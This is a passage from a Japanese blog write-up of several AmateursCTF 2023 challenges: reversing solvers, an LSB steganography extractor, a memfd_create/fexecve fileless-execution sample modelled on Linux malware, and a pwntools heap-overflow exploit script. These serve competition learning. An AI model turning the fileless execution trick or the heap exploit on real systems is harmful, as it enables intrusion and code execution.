buf[b5] = buf[b5] - program[pc + 2];
System.out.println(buf[b5]);
pc += 3;
break;
case 13:
byte b6 = program[pc + 1];
System.out.print("======> 0xd b6 :");
System.out.print(b6);
System.out.print(" buf[b6] = ");
System.out.print(buf[b6]);
System.out.print(" - ");
System.out.print(buf[program[pc + 2]]);
buf[b6] = buf[b6] - buf[program[pc + 2]];
System.out.print(" Result : ");
System.out.println(buf[b6]);
pc += 3;
break;
case 16:
byte b7 = program[pc + 1];
buf[b7] = buf[b7] * program[pc + 2];
pc += 3;
break;
case 17:
byte b8 = program[pc + 1];
buf[b8] = buf[b8] * buf[program[pc + 2]];
pc += 3;
break;
case 20:
byte b9 = program[pc + 1];
buf[b9] = buf[b9] / program[pc + 2];
pc += 3;
break;
case 21:
byte b10 = program[pc + 1];
buf[b10] = buf[b10] / buf[program[pc + 2]];
pc += 3;
break;
case 24:
byte b11 = program[pc + 1];
buf[b11] = buf[b11] % program[pc + 2];
pc += 3;
break;
case 25:
byte b12 = program[pc + 1];
buf[b12] = buf[b12] % buf[program[pc + 2]];
pc += 3;
break;
case 28:
byte b13 = program[pc + 1];
buf[b13] = buf[b13] << program[pc + 2];
pc += 3;
break;
case 29:
byte b14 = program[pc + 1];
buf[b14] = buf[b14] << buf[program[pc + 2]];
pc += 3;
break;
case 31:
buf[program[pc + 1]] = bufferedReader.read();
pc += 2;
break;
case 32:
// input-3 Read byte
int i4 = sp;
sp++;
stack[i4] = bufferedReader.read();
// System.out.println(stack[i4]);
System.out.print("======> Read at : ");
System.out.println(i4);
pc++;
break;
case 33:
// System.out.print((char) buf[program[pc + 1]]);
pc += 2;
break;
case 34:
// POP; Print
sp--;
// System.out.print((char) stack[sp]);
pc++;
break;
case 41:
byte b15 = program[pc + 1];
byte b16 = program[pc + 2];
if (buf[b15] == 0) {
pc = b16;
break;
} else {
pc += 3;
break;
}
case 42:
// input-2
// check-4
System.out.print("======> 0x2a Check buf : ");
byte b17 = program[pc + 1]; // 0x0
byte b18 = program[pc + 2]; // 0x12
System.out.print(b17);
System.out.print(" Is buf[b17] == 0 : ");
System.out.println(buf[b17]);
if (buf[b17] != 0) {
pc = b18; // pc を 0x12 に変更
break;
} else {
// No more word
pc += 3;
break;
}
case 43:
// check-1
pc = program[pc + 1]; // 0x2c
break;
case 52:
int i5 = sp;
sp++;
stack[i5] = buf[program[pc + 1]];
pc += 2;
break;
case 53:
// check-2
sp--;
buf[program[pc + 1]] = stack[sp]; // program[pc + 1] = 0x0
System.out.println("===========================================");
System.out.print("======> 0x53 Buf :");
System.out.print(pc + 1);
System.out.print(" into : ");
System.out.println(stack[sp]);
pc += 2;
break;
case 54:
int i6 = sp;
sp++;
stack[i6] = program[pc + 1];
pc += 2;
break;
case Byte.MAX_VALUE:
bufferedReader.close();
return;
default:
byte b19 = program[pc];
byte b20 = program[pc + 1];
byte b21 = program[pc + 2];
program[pc] = (byte) ((program[pc] ^ b20) ^ b21);
program[pc + 1] = (byte) ((program[pc] ^ b19) ^ b21);
program[pc + 2] = (byte) ((program[pc + 1] ^ b19) ^ b20);
break;
}
}
}
}
その結果を解析すると、入力された値を 53->12 or 42 の関数でバリデーションしていることがわかります。
そのため、Print デバッグした値を元に以下の Solver を作成し、Flag を取得することができました。
with open("code.jvm", "rb") as f:
code = f.read()
flag = ""
for i in range(0x34,len(code)):
if code[i] == 53:
if code[i+2] == 12 and code[i+5] == 12:
a = code[i+4]
b = code[i+7]
flag += chr(a+b)
elif code[i+2] == 12 and code[i+5] == 42:
flag += "_"
# elif code[i+2] == 8:
else:
print(i)
# print(code[i+4],code[i+7])
print(flag[::-1])
amateursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_A_vm?}
rusteze 2(Rev)
My boss said Linux binaries wouldn’t reach enough customers so I was forced to make a Windows version.
Flag is amateursCTF{[a-zA-Z0-9_]+}
再びの Rust 製バイナリでしたが、今回は EXE の解析問題でした。
エントリポイントから処理を追っていくと、.data セクションの 0x2c40 から配置されているバイトデータを関数としてロードして呼び出していることがわかります。
そのため、データセクションの 0x2c40 から始まる一連の領域を関数として識別させてからデコンパイルします。
以下のような関数を取得することができました。
void FUN_140002c40(void)
{
byte bVar1;
longlong lVar2;
undefined8 uVar3;
longlong lVar4;
undefined8 *puVar5;
LPVOID *ppvVar6;
undefined **ppuVar7;
undefined **ppuVar8;
undefined8 local_188 [6];
LPCRITICAL_SECTION local_158;
LPVOID local_150 [3];
undefined4 uStack_138;
undefined4 uStack_134;
undefined4 uStack_130;
undefined4 uStack_12c;
PSRWLOCK pRStack_128;
undefined8 auStack_120 [6];
undefined8 auStack_f0 [3];
undefined uStack_d3;
undefined uStack_d2;
undefined uStack_d1;
undefined uStack_d0;
undefined uStack_cf;
undefined uStack_ce;
undefined uStack_cd;
undefined uStack_cc;
undefined uStack_cb;
undefined uStack_ca;
undefined uStack_c9;
undefined uStack_c8;
undefined uStack_c7;
undefined uStack_c6;
undefined uStack_c5;
undefined uStack_c4;
undefined uStack_c3;
undefined uStack_c2;
undefined uStack_c1;
undefined uStack_c0;
undefined uStack_bf;
undefined uStack_be;
undefined uStack_bd;
undefined uStack_bc;
undefined uStack_bb;
undefined uStack_ba;
undefined uStack_b9;
undefined uStack_b8;
undefined uStack_b7;
undefined uStack_b6;
undefined uStack_b5;
undefined uStack_b4;
undefined uStack_b3;
undefined uStack_b2;
undefined uStack_b1;
undefined8 auStack_b0 [6];
undefined8 auStack_80 [6];
undefined8 uStack_50;
undefined8 uStack_48;
longlong lStack_40;
LPVOID *ppvStack_38;
longlong lStack_30;
LPVOID *ppvStack_28;
longlong lStack_20;
LPVOID *ppvStack_18;
undefined8 local_10;
local_10 = 0xfffffffffffffffe;
ppuVar7 = &PTR_DAT_140025698;
puVar5 = local_188;
FUN_140001d60(puVar5,&PTR_DAT_140025698,1,&PTR_s_src\main.rs_1400256a8,0);
FUN_140009ef0((undefined4 *)puVar5,ppuVar7);
local_158 = (LPCRITICAL_SECTION)FUN_140009a50(puVar5,ppuVar7);
ppuVar7 = FUN_140009ac0(&local_158);
ppuVar8 = &PTR_s_src\main.rs_1400256a8;
FUN_1400052e0((longlong)ppuVar7,&PTR_s_src\main.rs_1400256a8);
ppvVar6 = local_150;
FUN_1400030e0(ppvVar6);
pRStack_128 = (PSRWLOCK)FUN_140009830(ppvVar6,ppuVar8);
ppvVar6 = local_150;
lVar2 = FUN_140009860(&pRStack_128,ppvVar6);
uStack_50._0_4_ = (undefined4)lVar2;
uStack_50._4_4_ = (undefined4)((ulonglong)lVar2 >> 0x20);
uStack_48._0_4_ = SUB84(ppvVar6,0);
uStack_48._4_4_ = (undefined4)((ulonglong)ppvVar6 >> 0x20);
uStack_138 = (undefined4)uStack_50;
uStack_134 = uStack_50._4_4_;
uStack_130 = (undefined4)uStack_48;
uStack_12c = uStack_48._4_4_;
uStack_50 = lVar2;
uStack_48 = ppvVar6;
FUN_140005370(lVar2,ppvVar6,&PTR_s_src\main.rs_1400256c0);
uVar3 = FUN_140003130();
lVar2 = FUN_140004d90(uVar3,ppvVar6);
lStack_40 = lVar2;
ppvStack_38 = ppvVar6;
lStack_30 = lVar2;
ppvStack_28 = ppvVar6;
lStack_20 = lVar2;
ppvStack_18 = ppvVar6;
lVar4 = FUN_140006490(lVar2,ppvVar6);
if (lVar4 == 0x23) {
FUN_1400029c0(auStack_f0,lVar2,(ulonglong)ppvVar6);
uStack_d3 = 0x86;
uStack_d2 = 0x2b;
uStack_d1 = 0x12;
uStack_d0 = 0xf;
uStack_cf = 0x99;
uStack_ce = 0xcc;
uStack_cd = 0x1d;
uStack_cc = 0x55;
uStack_cb = 0xb7;
uStack_ca = 0x39;
uStack_c9 = 0xc5;
uStack_c8 = 0xbe;
uStack_c7 = 0xf3;
uStack_c6 = 0xab;
uStack_c5 = 0x5d;
uStack_c4 = 0x90;
uStack_c3 = 0x5f;
uStack_c2 = 0x5f;
uStack_c1 = 0x4c;
uStack_c0 = 0xaf;
uStack_bf = 0xb6;
uStack_be = 0x2b;
uStack_bd = 0xf1;
uStack_bc = 0x6c;
uStack_bb = 0xed;
uStack_ba = 0xbe;
uStack_b9 = 0x76;
uStack_b8 = 0x14;
uStack_b7 = 0x9b;
uStack_b6 = 0x88;
uStack_b5 = 0x88;
uStack_b4 = 0x20;
uStack_b3 = 0xa3;
uStack_b2 = 0xa0;
uStack_b1 = 4;
bVar1 = FUN_140004210();
if ((bVar1 & 1) == 0) {
ppuVar7 = &PTR_s_Correct!_140025700;
FUN_140001d60(auStack_80,&PTR_s_Correct!_140025700,1,&PTR_s_src\main.rs_1400256a8,0);
FUN_140009ef0((undefined4 *)auStack_80,ppuVar7);
FUN_140006fe0((longlong)auStack_f0);
FUN_140006f80((longlong)local_150);
return;
}
ppuVar7 = &PTR_s_Wrong!_1400256e0;
FUN_140001d60(auStack_b0,&PTR_s_Wrong!_1400256e0,1,&PTR_s_src\main.rs_1400256a8,0);
FUN_140009ef0((undefined4 *)auStack_b0,ppuVar7);
FUN_140006fe0((longlong)auStack_f0);
}
else {
ppuVar7 = &PTR_s_Wrong!_1400256e0;
FUN_140001d60(auStack_120,&PTR_s_Wrong!_1400256e0,1,&PTR_s_src\main.rs_1400256a8,0);
FUN_140009ef0((undefined4 *)auStack_120,ppuVar7);
}
FUN_140006f80((longlong)local_150);
return;
}
ここでは、0x23 文字の入力を受け取り、オフセット 0x29c0 の関数にて加工された後、最終的に BUF1 というメモリ領域に格納されます。
その後に呼び出される関数では、BUF1 とハードコードされた BUF2 を memcmp で比較し、一致した場合に “Correct” を返すことがわかります。
Ghidra と WinDbg を駆使しつつ解析を行った結果、この入力値の加工処理は以下の処理で表現できることがわかりました。
for k in key:
f = (ord("a")^k)
f = (f << 2 | f >> 6) & 0xFF
print(hex(f))
そのため、ハードコードされた BUF2 のバイト列を元に、ブルートフォースで正しい入力値を特定しました。
key = [i for i in range(35)]
key[0] = 0xd2
key[1] = 0xa5
key[2] = 0xf6
key[3] = 0xb1
key[4] = 0x1f
key[5] = 0x6c
key[6] = 0x33
key[7] = 0x3d
key[8] = 0x84
key[9] = 0x3d
key[10] = 0x2e
key[11] = 0xc6
key[12] = 0x8f
key[13] = 0x84
key[14] = 0x23
key[15] = 0x7b
key[16] = 0xa3
key[17] = 0xbf
key[18] = 0x76
key[19] = 0xb4
key[20] = 0xcb
key[21] = 0xa6
key[22] = 0x1d
key[23] = 0x7c
key[24] = 0x24
key[25] = 0xdb
key[26] = 0xf5
key[27] = 0x6c
key[28] = 0x95
key[29] = 0x7d
key[30] = 0x56
key[31] = 0x61
key[32] = 0x85
key[33] = 0x4d
key[34] = 0x2f
ans = [0x86,0x2b,0x12,0xf,0x99,0xcc,0x1d,0x55,0xb7,0x39,0xc5,0xbe,0xf3,0xab,0x5d,0x90,0x5f,0x5f,0x4c,0xaf,0xb6,0x2b,0xf1,0x6c,0xed,0xbe,0x76,0x14,0x9b,0x88,0x88,0x20,0xa3,0xa0,0x4]
for i in range(0x23):
for c in range(0x21,0x7e):
f = (c^key[i])
f = (f << 2 | f >> 6) & 0xFF
if f == ans[i]:
print(chr(c), end="")
break
しかし、ここで特定した文字列では、Correct の出力は得られるものの、Flag にはなりません。
実は、BUF1 の加工の際に同時に特定のデータ領域にも値が書き込まれていました。
そのため、WinDbg で正しい文字列を入力した場合のこのデータ領域の情報を確認したところ、Flag を取得することができました。
Painfully Deep Flag(Forensic)
This one is a bit deep in the stack.
典型問題でした。
怪しげな PDF が与えられたので、pdftohtml で分解したところ Flag を取得することができました。
pdftohtml flag.pdf
rules-iceberg(Forensic)
So apparently larry leaked this challenge already. Due to high demand for rules-iceberg stego and server profile picture discord stego, I’ve decided to release the challenge anyways.
以下のスクリプトを使用して文字列を埋め込まれた画像と、そのオリジナルの画像が与えられます。
from PIL import Image
def encode_lsb(image_path, message):
# Open the image
image = Image.open(image_path)
pixels = image.load()
# Check if the message can fit within the image
if len(message) * 8 > image.width * image.height:
raise ValueError("Message is too long to fit within the image.")
# Convert the message to binary
binary_message = ''.join(format(ord(char), '08b') for char in message)
# Embed the message into the image
char_index = 0
for y in range(image.height):
for x in range(image.width):
r, g, b, a = pixels[x, y]
if char_index < len(binary_message):
# Modify the second least significant bit of the red channel
# only if red is greater than green and blue
if r > g and r > b:
r = (r & 0xFD) | (int(binary_message[char_index]) << 1)
char_index += 1
pixels[x, y] = (r, g, b, a)
# Save the modified image
encoded_image_path = f"new-{image_path}"
image.save(encoded_image_path)
print("Message encoded successfully in the image:", encoded_image_path)
# Example usage
# image_path = "rules-iceberg.png"
image_path = "tmp.png"
# extract flag from flag.txt
with open("flag.txt", "r") as f:
flag = f.read().strip()
# assert len(flag) == 54
encode_lsb(image_path, flag)
これは、LSB を悪用したステガノグラフィの応用で、r の値が g と b より大きいピクセルの r の 2 bit 目の値に Flag の bit を埋め込むスクリプトでした。
文字列埋め込み後の画像では r の値が変わってしまい、どのピクセルに bit が埋め込まれたかわからなくなるため、元の画像の情報が Key になります。
そのため、元の画像のピクセル情報を比較して、文字列埋め込み後の画像から bit 抽出を行うことで Flag を取得できました。
from PIL import Image
# Example usage
image_path = "new-rules-iceberg.png"
image = Image.open(image_path)
new_pixels = image.load()
image_path = "rules-iceberg.png"
image = Image.open(image_path)
pixels = image.load()
binary_message = ""
for y in range(image.height):
for x in range(image.width):
r, g, b, a = new_pixels[x, y]
rd, gd, bd, ad = pixels[x, y]
if rd > gd and rd > bd:
binary_message += str(((r >> 1) & 0x1))
text_message = ""
for i in range(0, len(binary_message), 8):
char = chr(int(binary_message[i:i+8], 2))
text_message += char
print(text_message)
# amateursCTF{3v3ry0n3_d3f1n1t3ly_l0v3s_st3g0_mhmhmhmhm}
ELFcrafting-v1(Pwn)
How well do you understand the ELF file format?
問題バイナリを確認すると、memfd_create によって生成された無名ファイル(RAM 上におかれ、ファイルのように扱われるもの)のファイルディスクリプタを取得し、そこに 32 バイトの任意のバイトを書き込んだのち、fexecve 関数で実行させるという処理でした。
このような手法は、Linux 上のファイルレスマルウェアの模倣のようです。
ただし、実際の検体と異なり、今回無名ファイルに書き込み可能なデータ量は 32 バイトに制限されています。
そのため、ELF ファイルを書き込むことは物理的に不可能であり、fexecve 関数で実行させることができません。
ただし、fexecve 関数では ELF ファイル以外にもシバンの付いたシェルコマンドを実行することが可能です。
実際に手元でも以下のようなサンプルを作成して検証を行いました。
#define _GNU_SOURCE
#define _POSIX_C_SOURCE 200809L
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <err.h>
#include <errno.h>
size_t min(size_t x, size_t y)
{
return x > y ? y : x;
}
/**
* @param len != 0
*/
void fdput(int fd, const char *str, size_t len)
{
size_t cnt = 0;
do {
ssize_t result = write(fd, str + cnt, min(len - cnt, 0x7ffff000));
if (result == -1) {
if (errno == EINTR)
continue;
err(1, "%s failed", "write");
}
cnt += result;
} while (cnt != len);
}
#define fdputc(fd, constant_str) fdput((fd), (constant_str), sizeof(constant_str) - 1)
int main(int argc, char* argv[])
{
int fd = memfd_create("script", 0);
if (fd == -1)
err(1, "%s failed", "memfd_create");
fdputc(fd, "#!/bin/sh\n/bin/sh");
pid_t pid = fork();
if (pid == 0) {
const char * const argv[] = {"script", NULL};
const char * const envp[] = {NULL};
fexecve(fd, (char * const *) argv, (char * const *) envp);
err(1, "%s failed", "fexecve");
} else if (pid == -1)
err(1, "%s failed", "fork");
wait(NULL);
return 0;
}
これで勝てると思ったのですが、/bin/sh
はなぜかリモートサーバでは動作しませんでした。
そのため、以下のコマンドを送り込んで Flag を取得しました。
"#!/bin/cat flag.txt"
simple-heap-v1(Pwn)
Nothing to see here. Just a regular heap chall.
nc amt.rs 31176
Note: flag format is not the normal one
メンバーのヘルプで 1 問だけ Pwn を解きました。
特定のチャンクを起点とする 1 Byte の値だけ任意に書き換えることができます。
Flag が埋め込まれるチャンクはすぐに解放されてしまい、ヘッダによって Flag の一部が上書きされてしまうため、何とかして解放前に Flag が埋め込まれるチャンクの情報を読み出す必要があります。
デコンパイル結果を眺めていると、Flag の書き込まれるチャンクは任意に操作できるチャンクと隣接しており、かつキャッシュから何度も再利用されていることがわかりました。
そこで、任意に操作できるチャンクのサイズを書き換えて、Flag が書き込まるチャンクをオーバーラップさせることで、他のチャンクの情報から Flag が書き込まれるチャンクの情報を読み出せることがわかりました。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
b *(main+275)
continue
'''.format(**locals())
exe = "./chal_simple_heap_v1"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
def malloc(io,size,data):
io.sendlineafter(b"size",size)
io.sendlineafter(b"data",data)
io = start()
# malloc(io,b"128",b"a"*128)
# malloc(io,b"128",b"a"*128)
malloc(io,b"10",b"a"*10)
malloc(io,b"10",b"a"*10)
io.sendlineafter(b"index",b"-8")
io.sendlineafter(b"new character: ",b"\xF0")
malloc(io,b"230",b"a"*230)
io.interactive()
上記の Solver で Flag を取得できます。
ScreenshotGuesser(OSINT)
SSID 名から座標を特定する問題。
メンバーが解いてくれました。
WiGLE: Wireless Network Mapping というサービスで SSID の検索ができるらしい。
参考:Amateurs CTF 2023 Writeup - rikotekiのブログ
まとめ
3 連休を完全に溶かしつつ、5 日間どっぷり CTF やってました。
楽しい。